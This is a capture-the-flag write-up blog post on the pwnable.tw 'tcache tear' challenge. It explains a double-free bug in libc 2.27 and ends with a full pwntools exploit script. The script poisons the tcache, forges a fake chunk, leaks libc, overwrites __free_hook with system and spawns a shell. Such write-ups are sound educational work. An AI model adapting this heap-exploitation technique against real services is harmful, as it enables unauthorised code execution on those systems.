pwnable.tw tcache tear

idea

To solve this challenge, we need some knowledge of tcache, which version of libc 2.27. How do we find the remote libc version? Simply, we can malloc one chunk and free it twice, if the program doesn’t crash, taking it by and large, the version of libc is 2.27. So, let’s put it in ida.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rax
unsigned int v4; // [rsp+Ch] [rbp-4h]

set_env();
printf("Name:", a2);
read_line((__int64)&unk_602060, 0x20u);
v4 = 0;
while ( 1 )
{
while ( 1 )
{
banner();
v3 = read_int();
if ( v3 != 2 )
break;
if ( v4 <= 7 )
{
free(ptr); //double free here
++v4;
}
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
show();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_14:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_14;
add();
}
}
}

The program limits the number of free times we can only free 8 eight times, but it doesn’t check whether it is the same pointer, so double free vulnerability here, and after freeing it doesn’t set null to the memory, if some pointer on this memory we can make leak.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int add()
{
unsigned __int64 v0; // rax
int size; // [rsp+8h] [rbp-8h]

printf("Size:");
v0 = read_int();
size = v0;
if ( v0 <= 0xFF )
{
ptr = malloc(v0);
printf("Data:");
read_line((__int64)ptr, size - 16);
LODWORD(v0) = puts("Done !");
}
return v0;
}

In the add function, chunk size is controlled by us. If we input the chunk size less than 16, the read_line receive a negative number as it second argument. So, heap overflow vulnerability here.

1
2
3
4
5
ssize_t show()
{
printf("Name :");
return write(1, &unk_602060, 0x20uLL);
}

The show function just output 0x20 bytes from bss section at 0x602060, it means information leak must be work on bss section.

1
2
3
4
5
6
7
1、use double free hijack heap addree to bss section
2、make fake chunk at 0x602060, prev size 0 and size 501 means it status is inuse
3、to bypass libc 2.27 free check, we should make fake chunk's next chunk call it chunk A staus is inuse and do same action on chuck A's next chunk
4、free fake chunk to leak libc
5、double free to hijack free_hook and use libc system instead
6、malloc a chunk which content is "/bin/sh\x00"
7、free to chunk with "/bin/sh\x00" then get a shell

Why we don’t use heap overflow vulnerability? Because the times of free are enough to finish the exploit, if the number of free times is less than 8 or much less. We can use this to save free times.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *

if __name__ == '__main__':
context.log_level = 'debug'
context.arch = 'amd64'
LOCAL = 0
DEBUG = 0

# functions for quick script
s = lambda data :t.send(str(data))
sa = lambda delim,data :t.sendafter(str(delim), str(data))
sl = lambda data :t.sendline(str(data))
sla = lambda delim,data :t.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :t.recv(numb)
rn = lambda numb :t.recvn(numb)
ru = lambda delims, drop=True :t.recvuntil(delims, drop)
irt = lambda :t.interactive()

# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
leak = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
# x64 below
#16_04_magic = [0x45216,0x4526a,0xf02a4,0xf1147]

#18_04_magic = [0x4f2c5,0x4f322,0x10a38c]

if LOCAL:
#t = process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
t = remote('10.211.55.3', 9999)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
t = remote('chall.pwnable.tw', 10207)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')




def debug():
raw_input('go?')


def add(size, content):
sla('choice :','1')
sla('Size:', str(size))
sla('Data:', content)


def free():
sla('choice :','2')

def show():
sla('choice :','3')




sla('Name:', '1234')
add(0x70,'aaaa')
free()
free()
add(0x70,p64(0x602050 + 0x500))
add(0x70,'aaaa')
payload = p64(0) + p64(0x21) + p64(0) * 3 + p64(0x21)
add(0x70,payload)
add(0x60,'aaaa')
free()
free()
add(0x60,p64(0x602050))
add(0x60,'aaaa')
payload = p64(0) + p64(0x501) + p64(0) * 5 + p64(0x602050 + 0x10)
add(0x60,payload)
free()
show()
t.recvn(6)
addr_libc = uu64(rn(6)) - 96 - 0x10 - 0x3ebc30
leak('addr_libc', addr_libc)
add(0x80,'aaaa')
free()
free()
add(0x80,p64(addr_libc + 0x3ed8e8)) #free_hook
add(0x80,'vvvv')
add(0x80,p64(addr_libc + 0x4f440)) #system
add(0x30,'/bin/sh\x00')
free()
irt()
文章作者: Carl Star
文章链接: https://carlstar.club/2020/01/28/tcache/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 car1's home